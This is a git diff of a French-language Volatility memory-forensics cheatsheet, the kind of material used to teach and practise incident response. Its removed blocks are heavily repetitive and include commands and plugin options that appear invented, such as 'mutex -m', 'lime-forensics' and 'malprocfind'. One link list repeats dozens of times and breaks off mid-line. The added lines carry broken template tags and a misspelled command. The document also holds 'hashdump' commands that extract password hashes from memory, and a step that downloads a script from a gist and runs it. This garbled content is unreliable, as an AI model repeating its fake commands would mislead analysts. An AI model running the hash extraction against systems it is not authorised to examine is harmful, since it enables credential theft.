chemin_vers_le_fichier_memoire --profile=Nom_du_profil svcscan --start=SERVICE_START_OFFSET** -```bash -volatility -f dumpfiles -Q -``` - -```bash -volatility -f dumpfiles -Q --dump-dir -``` - -### Analyse des registres - -```bash -volatility -f hivelist -``` - -```bash -volatility -f printkey -K -``` - -```bash -volatility -f printkey -K -o -``` - -```bash -volatility -f hashdump -y -s -``` - -### Analyse des utilisateurs - -```bash -volatility -f hivelist -``` - -```bash -volatility -f printkey -K -``` - -```bash -volatility -f printkey -K -o -``` - -```bash -volatility -f hashdump -y -s -``` - -## Plugins - -### Plugin `pslist` - -```bash -volatility -f --profile= pslist -``` - -```bash -volatility -f --profile= pslist -p -``` - -```bash -volatility -f --profile= pslist --pid= -``` - -```bash -volatility -f --profile= pslist --output-file= -``` - -### Plugin `psscan` - -```bash -volatility -f --profile= psscan -``` - -```bash -volatility -f --profile= psscan -p -``` - -```bash -volatility -f --profile= psscan --pid= -``` - -```bash -volatility -f --profile= psscan --output-file= -``` - -### Plugin `pstree` - -```bash -volatility -f --profile= pstree -``` - -```bash -volatility -f --profile= pstree -p -``` - -```bash -volatility -f --profile= pstree --pid= -``` - -```bash -volatility -f --profile= pstree --output-file= -``` - -### Plugin `dlllist` - -```bash -volatility -f --profile= dlllist -``` - -```bash -volatility -f --profile= dlllist -p -``` - -```bash -volatility -f --profile= dlllist --pid= -``` - -```bash -volatility -f --profile= dlllist --output-file= -``` - -### Plugin `handles` - -```bash -volatility -f --profile= handles -``` - -```bash -volatility -f --profile= handles -p -``` - -```bash -volatility -f --profile= handles --pid= -``` - -```bash -volatility -f --profile= handles --output-file= -``` - -### Plugin `filescan` - -```bash -volatility -f --profile= filescan -``` - -```bash -volatility -f --profile= filescan -F -``` - -```bash -volatility -f --profile= filescan --filename= -``` - -```bash -volatility -f --profile= filescan --output-file= -``` - -### Plugin `netscan` - -```bash -volatility -f --profile= netscan -``` - -```bash -volatility -f --profile= netscan -p -``` - -```bash -volatility -f --profile= netscan --pid= -``` - -```bash -volatility -f --profile= netscan --output-file= -``` - -### Plugin `connscan` - -```bash -volatility -f --profile= connscan -``` - -```bash -volatility -f --profile= connscan -p -``` - -```bash -volatility -f --profile= connscan --pid= -``` - -```bash -volatility -f --profile= connscan --output-file= -``` - -### Plugin `sockscan` - -```bash -volatility -f --profile= sockscan -``` - -```bash -volatility -f --profile= sockscan -p -``` - -```bash -volatility -f --profile= sockscan --pid= -``` - -```bash -volatility -f --profile= sockscan --output-file= -``` - -### Plugin `malfind` - -```bash -volatility -f --profile= malfind -``` - -```bash -volatility -f --profile= malfind -p -``` - -```bash -volatility -f --profile= malfind --pid= -``` - -```bash -volatility -f --profile= malfind --output-file= -``` - -### Plugin `apihooks` - -```bash -volatility -f --profile= apihooks -``` - -```bash -volatility -f --profile= apihooks -p -``` - -```bash -volatility -f --profile= apihooks --pid= -``` - -```bash -volatility -f --profile= apihooks --output-file= -``` - -### Plugin `ldrmodules` - -```bash -volatility -f --profile= ldrmodules -``` - -```bash -volatility -f --profile= ldrmodules -p -``` - -```bash -volatility -f --profile= ldrmodules --pid= -``` - -```bash -volatility -f --profile= ldrmodules --output-file= -``` - -### Plugin `cmdscan` - -```bash -volatility -f --profile= cmdscan -``` - -```bash -volatility -f --profile= cmdscan -p -``` - -```bash -volatility -f --profile= cmdscan --pid= -``` - -```bash -volatility -f --profile= cmdscan --output-file= -``` - -### Plugin `dumpfiles` - -```bash -volatility -f --profile= dumpfiles -``` - -```bash -volatility -f --profile= dumpfiles -Q -``` - -```bash -volatility -f --profile= dumpfiles --name= -``` - -```bash -volatility -f --profile= dumpfiles --output-dir= -``` - -### Plugin `hashdump` - -```bash -volatility -f --profile= hashdump -y -s -``` - -```bash -volatility -f --profile= hashdump -y -s --output-file= -``` - -## Profils - -### Liste des profils - -```bash -volatility --info | grep "Suggested Profile(s)" -``` - -### Utilisation des profils - -```bash -volatility -f --profile= -``` - -## Autres commandes utiles - -### Recherche de chaînes de caractères - -```bash -volatility -f --profile= strings -s -e --print -``` - -### Recherche de chaînes de caractères dans les fichiers - -```bash -volatility -f --profile= filescan | grep -``` - -### Recherche de processus - -```bash -volatility -f --profile= pslist | grep -``` - -### Recherche de connexions réseau - -```bash -volatility -f --profile= connscan | grep -``` - -### Recherche de fichiers - -```bash -volatility -f --profile= filescan | grep -``` - -### Recherche de clés de registre - -```bash -volatility -f --profile= hivelist -``` - -```bash -volatility -f --profile= printkey -K -``` - -### Recherche de mots de passe - -```bash -volatility -f --profile= hashdump -y -s -``` - -## Ressources - -- [Documentation officielle de Volatility](https://github.com/volatilityfoundation/volatility/wiki) -- [Liste des profils supportés par Volatility](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#-f-file--profile-profile) -- [Liste des plugins de Volatility](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#plugins) +{% endtab %} ```bash #vol2 allos you to search and dump certificates from memory #Interesting options for this modules are: --pid, --name, --ssl @@ -7903,114 +1012,7 @@ volatility --profile=Win7SP1x86_23418 dumpcerts --dump-dir=. -f file.dmp ``` {% endtab %} -{% tab title="volatility-cheatsheet.md" %} -# Volatility Cheatsheet - -## Installation - -```bash -sudo apt-get install volatility -``` - -## Basic Usage - -```bash -volatility -f [options] -``` - -## Plugins - -### Image Identification - -```bash -volatility imageinfo -f -``` - -### Process Listing - -```bash -volatility pslist -f -``` - -### Process Tree - -```bash -volatility pstree -f -``` - -### Process Memory Dump - -```bash -volatility memdump -f -p --dump-dir -``` - -### DLL Listing - -```bash -volatility dlllist -f -p -``` - -### Handles - -```bash -volatility handles -f -p -``` - -### Network Connections - -```bash -volatility netscan -f -``` - -### Open Files - -```bash -volatility filescan -f -``` - -### Registry Analysis - -```bash -volatility hivelist -f -volatility printkey -f -o -volatility dumpkey -f -o --dump-dir -``` - -### Malware Analysis - -```bash -volatility malfind -f --dump-dir -volatility malprocfind -f --dump-dir -volatility malfind -f --dump-dir -``` - -### User Account Analysis - -```bash -volatility hivescan -f -volatility userassist -f -volatility getsids -f -volatility hashdump -f -s -u -``` - -### Miscellaneous - -```bash -volatility cmdline -f -p -volatility consoles -f -volatility idt -f -volatility modules -f -volatility printkey -f -o -volatility shellbags -f -volatility sockets -f -volatility ssdt -f -volatility timers -f -volatility truecryptmaster -f -volatility vadinfo -f -volatility vadtree -f -volatility windows -f -``` -{% endtab %} +{% onglet title="vol2" %} ```bash volatility --profile=Win7SP1x86_23418 -f file.dmp malfind [-D /tmp] #Find hidden and injected code [dump each suspicious section] volatility --profile=Win7SP1x86_23418 -f file.dmp apihooks #Detect API hooks in process and kernel memory @@ -8026,121 +1028,13 @@ volatility --profile=SomeLinux -f file.dmp linux_check_modules volatility --profile=SomeLinux -f file.dmp linux_check_tty volatility --profile=SomeLinux -f file.dmp linux_keyboard_notifiers #Keyloggers ``` -{% endtab %} -{% tab title="volatility-cheatsheet.md" %} - -### Analyse de dump mémoire avec Volatility - -#### Commandes de base - -- `volatility -f imageinfo`: Affiche les informations de l'image mémoire. -- `volatility -f pslist`: Affiche la liste des processus. -- `volatility -f pstree`: Affiche l'arborescence des processus. -- `volatility -f psscan`: Affiche les processus actifs. -- `volatility -f netscan`: Affiche les connexions réseau. -- `volatility -f connscan`: Affiche les connexions réseau. -- `volatility -f filescan`: Affiche les fichiers ouverts. -- `volatility -f dlllist`: Affiche les DLL chargées. -- `volatility -f handles`: Affiche les handles ouverts. -- `volatility -f getsids`: Affiche les SID des processus. -- `volatility -f printkey`: Affiche les clés de registre. -- `volatility -f hivelist`: Affiche les fichiers de registre. -- `volatility -f hashdump -y -s -a`: Affiche les hashes des mots de passe. - -#### Plugins - -- `volatility -f --profile= `: Exécute un plugin spécifique. - -#### Analyse de malware - -- `volatility -f malfind`: Recherche les processus infectés par un malware. -- `volatility -f malsysproc`: Recherche les processus système infectés par un malware. -- `volatility -f malprocfind`: Recherche les processus infectés par un malware en utilisant des signatures Yara. -- `volatility -f yarascan -Y `: Recherche les processus infectés par un malware en utilisant des signatures Yara. - -#### Analyse de la mémoire virtuelle - -- `volatility -f memdump -p `: Dump la mémoire virtuelle d'un processus. -- `volatility -f memdump -D --dump-dir=`: Dump la mémoire virtuelle de tous les processus. -- `volatility -f memdump --dump-dir= --name=`: Dump la mémoire virtuelle d'un processus en utilisant son nom. - -#### Analyse de la mémoire physique - -- `volatility -f hiberfil`: Analyse un fichier hibernation. -- `volatility -f hibinfo`: Affiche les informations d'un fichier hibernation. -- `volatility -f kdbgscan`: Recherche le KDBG. -- `volatility -f kpcrscan`: Recherche le KPCR. -- `volatility -f physmap`: Affiche la carte mémoire physique. -- `volatility -f memmap`: Affiche la carte mémoire virtuelle. - -### Analyse de dump mémoire avec Rekall - -#### Commandes de base - -- `rekall -f pslist`: Affiche la liste des processus. -- `rekall -f pstree`: Affiche l'arborescence des processus. -- `rekall -f psscan`: Affiche les processus actifs. -- `rekall -f netscan`: Affiche les connexions réseau. -- `rekall -f connscan`: Affiche les connexions réseau. -- `rekall -f filescan`: Affiche les fichiers ouverts. -- `rekall -f dlllist`: Affiche les DLL chargées. -- `rekall -f handles`: Affiche les handles ouverts. -- `rekall -f getsids`: Affiche les SID des processus. -- `rekall -f printkey`: Affiche les clés de registre. -- `rekall -f hivelist`: Affiche les fichiers de registre. -- `rekall -f hashdump -y -s -a`: Affiche les hashes des mots de passe. - -#### Plugins - -- `rekall -f `: Exécute un plugin spécifique. - -#### Analyse de malware - -- `rekall -f malfind`: Recherche les processus infectés par un malware. -- `rekall -f malsysproc`: Recherche les processus système infectés par un malware. -- `rekall -f malprocfind`: Recherche les processus infectés par un malware en utilisant des signatures Yara. -- `rekall -f yarascan -Y `: Recherche les processus infectés par un malware en utilisant des signatures Yara. - -#### Analyse de la mémoire virtuelle - -- `rekall -f memdump -p `: Dump la mémoire virtuelle d'un processus. -- `rekall -f memdump -D --dump-dir=`: Dump la mémoire virtuelle de tous les processus. -- `rekall -f memdump --dump-dir= --name=`: Dump la mémoire virtuelle d'un processus en utilisant son nom. - -#### Analyse de la mémoire physique - -- `rekall -f hiberfil`: Analyse un fichier hibernation. -- `rekall -f hibinfo`: Affiche les informations d'un fichier hibernation. -- `rekall -f kdbgscan`: Recherche le KDBG. -- `rekall -f kpcrscan`: Recherche le KPCR. -- `rekall -f physmap`: Affiche la carte mémoire physique. -- `rekall -f memmap`: Affiche la carte mémoire virtuelle. - -### Analyse de dump mémoire avec LiME - -#### Commandes de base - -- `lime-forensics -r -p -i `: Charge le profil. -- `lime-forensics -r -p -c `: Exécute une commande spécifique. - -#### Analyse de la mémoire virtuelle - -- `lime-forensics -r -p -c "memdump "`: Dump la mémoire virtuelle d'un processus. -- `lime-forensics -r -p -c "memdump -A "`: Dump la mémoire virtuelle de tous les processus. - -#### Analyse de la mémoire physique - -- `lime-forensics -r -p -c "raw2lime "`: Convertit un dump mémoire brut en format LiME. -- `lime-forensics -r -p -c "limeinfo"`: Affiche les informations de la mémoire LiME. -- `lime-forensics -r -p -c "volatility --plugins= -f "`: Exécute un plugin Volatility sur la mémoire LiME. - -### Scanning avec yara - -Utilisez ce script pour télécharger et fusionner toutes les règles de malware yara depuis github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ -Créez le répertoire _**rules**_ et exécutez-le. Cela créera un fichier appelé _**malware\_rules.yar**_ qui contient toutes les règles yara pour les malwares. - {% endtab %} {% endtabs %} + +### Analyse de la mémoire avec Volatility + +Utilisez ce script pour télécharger et fusionner toutes les règles de logiciels malveillants yara depuis github : [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ +Créez le répertoire _**rules**_ et exécutez-le. Cela créera un fichier appelé _**malware\_rules.yar**_ qui contient toutes les règles yara pour les logiciels malveillants. ```bash wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py mkdir rules @@ -8152,216 +1046,7 @@ python malware_yara_rules.py ``` {% endtab %} -{% tab title="volatility-cheatsheet.md" %} -# Feuille de triche Volatility - -## Commandes de base - -### Analyse de l'image mémoire - -```bash -volatility -f imageinfo -``` - -```bash -volatility -f kdbgscan -``` - -```bash -volatility -f kpcrscan -``` - -```bash -volatility -f pslist -``` - -```bash -volatility -f psscan -``` - -```bash -volatility -f pstree -``` - -```bash -volatility -f dlllist -``` - -```bash -volatility -f handles -``` - -```bash -volatility -f filescan -``` - -```bash -volatility -f netscan -``` - -### Analyse des processus - -```bash -volatility -f procdump -p -D -``` - -```bash -volatility -f memdump -p -D -``` - -```bash -volatility -f malfind -p -D -``` - -```bash -volatility -f apihooks -p -``` - -```bash -volatility -f ldrmodules -p -``` - -```bash -volatility -f handles -p -``` - -```bash -volatility -f cmdscan -p -``` - -### Analyse des connexions réseau - -```bash -volatility -f connscan -``` - -```bash -volatility -f connscan -s -``` - -```bash -volatility -f sockets -``` - -```bash -volatility -f sockscan -``` - -### Analyse des utilisateurs - -```bash -volatility -f hivelist -``` - -```bash -volatility -f hashdump -s -y -s -y -``` - -```bash -volatility -f userassist -``` - -```bash -volatility -f getsids -``` - -```bash -volatility -f printkey -K -``` - -### Analyse des fichiers - -```bash -volatility -f filescan -``` - -```bash -volatility -f dumpfiles -Q -``` - -```bash -volatility -f dumpfiles -Q --dump-dir -``` - -### Analyse des vulnérabilités - -```bash -volatility -f malfind -``` - -```bash -volatility -f malfind --dump-dir -``` - -```bash -volatility -f yarascan -Y -``` - -```bash -volatility -f yarascan -Y --dump-dir -``` - -## Plugins - -### Plugin `malfind` - -```bash -volatility -f malfind -``` - -```bash -volatility -f malfind --dump-dir -``` - -### Plugin `apihooks` - -```bash -volatility -f apihooks -p -``` - -### Plugin `ldrmodules` - -```bash -volatility -f ldrmodules -p -``` - -### Plugin `handles` - -```bash -volatility -f handles -p -``` - -### Plugin `cmdscan` - -```bash -volatility -f cmdscan -p -``` - -### Plugin `dumpfiles` - -```bash -volatility -f dumpfiles -Q -``` - -```bash -volatility -f dumpfiles -Q --dump-dir -``` - -### Plugin `yarascan` - -```bash -volatility -f yarascan -Y -``` - -```bash -volatility -f yarascan -Y --dump-dir -``` - -## Ressources - -- [Documentation officielle de Volatility](https://www.volatilityfoundation.org/) -- [Liste des plugins de Volatility](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#plugins) -- [Liste des règles Yara pour Volatility](https://github.com/Neo23x0/signature-base/tree/master/yara/volatility) +{% onglet title="vol2" %} ```bash wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py mkdir rules @@ -8369,7 +1054,8 @@ python malware_yara_rules.py volatility --profile=Win7SP1x86_23418 yarascan -y malware_rules.yar -f ch2.dmp | grep "Rule:" | grep -v "Str_Win32" | sort | uniq ``` {% endtab %} -{% tab title="vol3" %} +{% endtabs %} + ## DIVERS ### Plugins externes @@ -8380,217 +1066,9 @@ Si vous souhaitez utiliser des plugins externes, assurez-vous que les dossiers l ``` {% endtab %} -{% tab title="volatility-cheatsheet.md" %} -# Feuille de triche Volatility - -## Commandes de base - -### Analyse de l'image mémoire - +{% onglet title="vol2" %} ```bash -volatility -f imageinfo -``` - -```bash -volatility -f kdbgscan -``` - -```bash -volatility -f kpcrscan -``` - -```bash -volatility -f pslist -``` - -```bash -volatility -f psscan -``` - -```bash -volatility -f pstree -``` - -```bash -volatility -f dlllist -``` - -```bash -volatility -f handles -``` - -```bash -volatility -f filescan -``` - -```bash -volatility -f netscan -``` - -### Analyse des processus - -```bash -volatility -f procdump -p -D -``` - -```bash -volatility -f memdump -p -D -``` - -```bash -volatility -f malfind -p -D -``` - -```bash -volatility -f apihooks -p -``` - -```bash -volatility -f ldrmodules -p -``` - -```bash -volatility -f handles -p -``` - -```bash -volatility -f cmdscan -p -``` - -### Analyse des connexions réseau - -```bash -volatility -f connscan -``` - -```bash -volatility -f connscan -s -``` - -```bash -volatility -f sockets -``` - -```bash -volatility -f sockscan -``` - -### Analyse des utilisateurs - -```bash -volatility -f hivelist -``` - -```bash -volatility -f hashdump -s -y -s -y -``` - -```bash -volatility -f userassist -``` - -```bash -volatility -f getsids -``` - -```bash -volatility -f printkey -K -``` - -### Analyse des fichiers - -```bash -volatility -f filescan -``` - -```bash -volatility -f dumpfiles -Q -``` - -```bash -volatility -f dumpfiles -Q --dump-dir -``` - -### Analyse des vulnérabilités - -```bash -volatility -f malfind -``` - -```bash -volatility -f malfind --dump-dir -``` - -```bash -volatility -f yarascan -Y -``` - -```bash -volatility -f yarascan -Y --dump-dir -``` - -## Plugins - -### Plugin `malfind` - -```bash -volatility -f malfind -``` - -```bash -volatility -f malfind --dump-dir -``` - -### Plugin `apihooks` - -```bash -volatility -f apihooks -p -``` - -### Plugin `ldrmodules` - -```bash -volatility -f ldrmodules -p -``` - -### Plugin `handles` - -```bash -volatility -f handles -p -``` - -### Plugin `cmdscan` - -```bash -volatility -f cmdscan -p -``` - -### Plugin `dumpfiles` - -```bash -volatility -f dumpfiles -Q -``` - -```bash -volatility -f dumpfiles -Q --dump-dir -``` - -### Plugin `yarascan` - -```bash -volatility -f yarascan -Y -``` - -```bash -volatility -f yarascan -Y --dump-dir -``` - -## Ressources - -- [Documentation officielle de Volatility](https://www.volatilityfoundation.org/) -- [Liste des plugins de Volatility](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#plugins) -```bash - volatilitye --plugins="/tmp/plugins/" [...] +volatilitye --plugins="/tmp/plugins/" [...] ``` {% endtab %} {% endtabs %} @@ -8599,301 +1077,18 @@ volatility -f yarascan -Y --dump-dir Téléchargez-le depuis [https://github.com/tomchop/volatility-autoruns](https://github.com/tomchop/volatility-autoruns) ``` - volatility --plugins=volatility-autoruns/ --profile=WinXPSP2x86 -f file.dmp autoruns +volatility --plugins=volatility-autoruns/ --profile=WinXPSP2x86 -f file.dmp autoruns ``` ### Mutexes -### Mutexes - -Les mutexes sont des objets de synchronisation qui permettent à un seul thread d'accéder à une ressource partagée à la fois. Les mutexes sont souvent utilisés pour protéger les sections critiques du code et pour éviter les conflits de données. - -#### Afficher la liste des mutexes - -``` -volatility -f --profile= mutex -``` - -#### Afficher les threads en attente d'un mutex - -``` -volatility -f --profile= mutex -t -``` - -#### Afficher les mutexes détenus par un processus - -``` -volatility -f --profile= mutex -p -``` - -#### Afficher les processus détenant un mutex - -``` -volatility -f --profile= mutex -m -``` - -#### Afficher les mutexes détenus par un thread - -``` -volatility -f --profile= mutex -t -``` - -#### Afficher les threads détenant un mutex - -``` -volatility -f --profile= mutex -m --output=dot --output-file= -``` - -#### Afficher les mutexes détenus par un processus en mode graphique - -``` -volatility -f --profile= mutex -p --output=dot --output-file= -``` - -#### Afficher les mutexes détenus par un thread en mode graphique - -``` -volatility -f --profile= mutex -t --output=dot --output-file= -``` - -#### Afficher les mutexes détenus par un processus en mode texte - -``` -volatility -f --profile= mutex -p --output=text --output-file= -``` - -#### Afficher les mutexes détenus par un thread en mode texte - -``` -volatility -f --profile= mutex -t --output=text --output-file= -``` - -#### Afficher les mutexes détenus par un processus en mode JSON - -``` -volatility -f --profile= mutex -p --output=json --output-file= -``` - -#### Afficher les mutexes détenus par un thread en mode JSON - -``` -volatility -f --profile= mutex -t --output=json --output-file= -``` +{% tabs %} +{% tab title="vol3" %} ``` ./vol.py -f file.dmp windows.mutantscan.MutantScan ``` {% endtab %} -{% tab title="volatility-cheatsheet.md" %} -# Feuille de triche Volatility - -## Commandes de base - -### Analyse de l'image mémoire - -```bash -volatility -f imageinfo -``` - -```bash -volatility -f kdbgscan -``` - -```bash -volatility -f kpcrscan -``` - -```bash -volatility -f pslist -``` - -```bash -volatility -f psscan -``` - -```bash -volatility -f pstree -``` - -```bash -volatility -f dlllist -``` - -```bash -volatility -f handles -``` - -```bash -volatility -f filescan -``` - -```bash -volatility -f netscan -``` - -### Analyse des processus - -```bash -volatility -f procdump -p -D -``` - -```bash -volatility -f memdump -p -D -``` - -```bash -volatility -f malfind -p -D -``` - -```bash -volatility -f apihooks -p -``` - -```bash -volatility -f ldrmodules -p -``` - -```bash -volatility -f handles -p -``` - -```bash -volatility -f cmdscan -p -``` - -### Analyse des connexions réseau - -```bash -volatility -f connscan -``` - -```bash -volatility -f connscan -s -``` - -```bash -volatility -f sockets -``` - -```bash -volatility -f sockscan -``` - -### Analyse des utilisateurs - -```bash -volatility -f hivelist -``` - -```bash -volatility -f hashdump -s -y -s -y -``` - -```bash -volatility -f userassist -``` - -```bash -volatility -f getsids -``` - -```bash -volatility -f printkey -K -``` - -### Analyse des fichiers - -```bash -volatility -f filescan -``` - -```bash -volatility -f dumpfiles -Q -``` - -```bash -volatility -f dumpfiles -Q --dump-dir -``` - -### Analyse des vulnérabilités - -```bash -volatility -f malfind -``` - -```bash -volatility -f malfind --dump-dir -``` - -```bash -volatility -f yarascan -Y -``` - -```bash -volatility -f yarascan -Y --dump-dir -``` - -## Plugins - -### Plugin `malfind` - -```bash -volatility -f malfind -``` - -```bash -volatility -f malfind --dump-dir -``` - -### Plugin `apihooks` - -```bash -volatility -f apihooks -p -``` - -### Plugin `ldrmodules` - -```bash -volatility -f ldrmodules -p -``` - -### Plugin `handles` - -```bash -volatility -f handles -p -``` - -### Plugin `cmdscan` - -```bash -volatility -f cmdscan -p -``` - -### Plugin `dumpfiles` - -```bash -volatility -f dumpfiles -Q -``` - -```bash -volatility -f dumpfiles -Q --dump-dir -``` - -### Plugin `yarascan` - -```bash -volatility -f yarascan -Y -``` - -```bash -volatility -f yarascan -Y --dump-dir -``` - -## Ressources - -- [Documentation officielle de Volatility](https://www.volatilityfoundation.org/) -- [Volatility Labs](https://volatility-labs.blogspot.com/) -- [Volatility Foundation GitHub](https://github.com/volatilityfoundation) -- [Volatility Cheat Sheet](https://github.com/413x90/volatility-cheatsheet) +{% onglet title="vol2" %} ```bash volatility --profile=Win7SP1x86_23418 mutantscan -f file.dmp volatility --profile=Win7SP1x86_23418 -f file.dmp handles -p -t mutant @@ -8907,383 +1102,7 @@ volatility --profile=Win7SP1x86_23418 -f file.dmp handles -p -t mutant ``` {% endtab %} -{% tab title="volatility-cheatsheet.md" %} -# Feuille de triche Volatility - -## Commandes de base - -### Analyse de l'image mémoire - -```bash -volatility -f imageinfo -``` - -```bash -volatility -f kdbgscan -``` - -```bash -volatility -f kpcrscan -``` - -```bash -volatility -f pslist -``` - -```bash -volatility -f psscan -``` - -```bash -volatility -f pstree -``` - -```bash -volatility -f dlllist -``` - -```bash -volatility -f handles -``` - -```bash -volatility -f filescan -``` - -```bash -volatility -f netscan -``` - -### Analyse des processus - -```bash -volatility -f procdump -p -D -``` - -```bash -volatility -f memdump -p -D -``` - -```bash -volatility -f malfind -p -D -``` - -```bash -volatility -f apihooks -p -``` - -```bash -volatility -f ldrmodules -p -``` - -```bash -volatility -f handles -p -``` - -```bash -volatility -f cmdscan -p -``` - -### Analyse des connexions réseau - -```bash -volatility -f connscan -``` - -```bash -volatility -f connscan -s -``` - -```bash -volatility -f sockets -``` - -```bash -volatility -f sockscan -``` - -### Analyse des utilisateurs - -```bash -volatility -f hivelist -``` - -```bash -volatility -f hashdump -s -y -s -y -``` - -```bash -volatility -f userassist -``` - -```bash -volatility -f getsids -``` - -```bash -volatility -f printkey -K -``` - -### Analyse des fichiers - -```bash -volatility -f filescan -``` - -```bash -volatility -f dumpfiles -Q -``` - -```bash -volatility -f dumpfiles -Q --dump-dir -``` - -### Analyse des vulnérabilités - -```bash -volatility -f malfind -``` - -```bash -volatility -f malfind --dump-dir -``` - -```bash -volatility -f yarascan -Y -``` - -```bash -volatility -f yarascan -Y --dump-dir -``` - -## Plugins - -### Plugin `malfind` - -```bash -volatility -f malfind -``` - -```bash -volatility -f malfind --dump-dir -``` - -### Plugin `yarascan` - -```bash -volatility -f yarascan -Y -``` - -```bash -volatility -f yarascan -Y --dump-dir -``` - -### Plugin `dumpregistry` - -```bash -volatility -f dumpregistry -o -D -``` - -### Plugin `dumpfiles` - -```bash -volatility -f dumpfiles -Q -``` - -```bash -volatility -f dumpfiles -Q --dump-dir -``` - -### Plugin `dumpcerts` - -```bash -volatility -f dumpcerts -O -``` - -### Plugin `moddump` - -```bash -volatility -f moddump -D -``` - -### Plugin `modscan` - -```bash -volatility -f modscan -``` - -### Plugin `apihooks` - -```bash -volatility -f apihooks -p -``` - -### Plugin `ldrmodules` - -```bash -volatility -f ldrmodules -p -``` - -### Plugin `handles` - -```bash -volatility -f handles -p -``` - -### Plugin `cmdscan` - -```bash -volatility -f cmdscan -p -``` - -### Plugin `svcscan` - -```bash -volatility -f svcscan -``` - -### Plugin `printkey` - -```bash -volatility -f printkey -K -``` - -### Plugin `getsids` - -```bash -volatility -f getsids -``` - -### Plugin `userassist` - -```bash -volatility -f userassist -``` - -### Plugin `dumpregistry` - -```bash -volatility -f dumpregistry -o -D -``` - -### Plugin `dumpcerts` - -```bash -volatility -f dumpcerts -O -``` - -### Plugin `connscan` - -```bash -volatility -f connscan -``` - -```bash -volatility -f connscan -s -``` - -### Plugin `sockets` - -```bash -volatility -f sockets -``` - -### Plugin `sockscan` - -```bash -volatility -f sockscan -``` - -### Plugin `connscan` - -```bash -volatility -f connscan -``` - -```bash -volatility -f connscan -s -``` - -### Plugin `sockets` - -```bash -volatility -f sockets -``` - -### Plugin `sockscan` - -```bash -volatility -f sockscan -``` - -## Ressources - -- [Documentation officielle de Volatility](https://www.volatilityfoundation.org/) -- [Volatility Labs](https://volatility-labs.blogspot.com/) -- [Volatility Foundation GitHub](https://github.com/volatilityfoundation) -- [Volatility Cheat Sheet](https://github.com/413x90/volatility-cheatsheet) (en anglais) -- [Volatility Plugin List](https://github.com/superponible/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) -- [Volatility Plugin List](https://github.com/tehw0lf/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) -- [Volatility Plugin List](https://github.com/504ensicsLabs/LiME/tree/master/src/volatility) (en anglais) -- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) -- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) -- [Volatility Plugin List](https://github.com/504ensicsLabs/LiME/tree/master/src/volatility) (en anglais) -- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) -- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) -- [Volatility Plugin List](https://github.com/504ensicsLabs/LiME/tree/master/src/volatility) (en anglais) -- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) -- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) -- [Volatility Plugin List](https://github.com/504ensicsLabs/LiME/tree/master/src/volatility) (en anglais) -- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) -- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) -- [Volatility Plugin List](https://github.com/504ensicsLabs/LiME/tree/master/src/volatility) (en anglais) -- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) -- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) -- [Volatility Plugin List](https://github.com/504ensicsLabs/LiME/tree/master/src/volatility) (en anglais) -- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) -- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) -- [Volatility Plugin List](https://github.com/504ensicsLabs/LiME/tree/master/src/volatility) (en anglais) -- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) -- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) -- [Volatility Plugin List](https://github.com/504ensicsLabs/LiME/tree/master/src/volatility) (en anglais) -- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) -- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) -- [Volatility Plugin List](https://github.com/504ensicsLabs/LiME/tree/master/src/volatility) (en anglais) -- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en 